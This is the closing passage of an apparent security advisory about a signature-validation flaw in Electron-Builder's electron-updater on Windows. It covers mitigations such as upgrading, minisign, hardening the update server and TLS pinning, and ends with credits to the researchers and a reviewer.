Squirrel framework and Electron’s code class=language-plaintext highlighter-rougeautoUpdater/code module. Since the Squirrel.Windows doesn’t implement signature validation either, for a robust signature validation on Windows consider shipping the app to the Windows Store or incorporate a href=https://github.com/jedisct1/minisignminisign/a into the update workflow./p pPlease note that using Electron-Builder to prepare platform-specific binaries does not make the application vulnerable to this issue as the vulnerability affects the emelectron-updater/em submodule only. Updates for Linux and Mac packages are also not affected./p pIf migrating to a different software update mechanism is not feasible, make sure to strongupgrade Electron-Builder to the latest version available/strong. At the time of writing, we believe that other attack payloads for the same vulnerable code path still exists in Electron-Builder./p pStandard security hardening and monitoring on the update server is important, as full access on such system is required in order to exploit the vulnerability. Finally, enforcing TLS certificate validation and pinning for connections to the update server mitigates the MITM attack scenario./p h3 id=creditsCredits/h3 pThis issue was discovered and studied by a href=https://github.com/ikkisoftLuca Carettoni/a and a href=https://github.com/phosphoreLorenzo Stella/a. We would like to thank emSamuel Attard/em of the ElectronJS Security WG for the review of this blog post./p
❌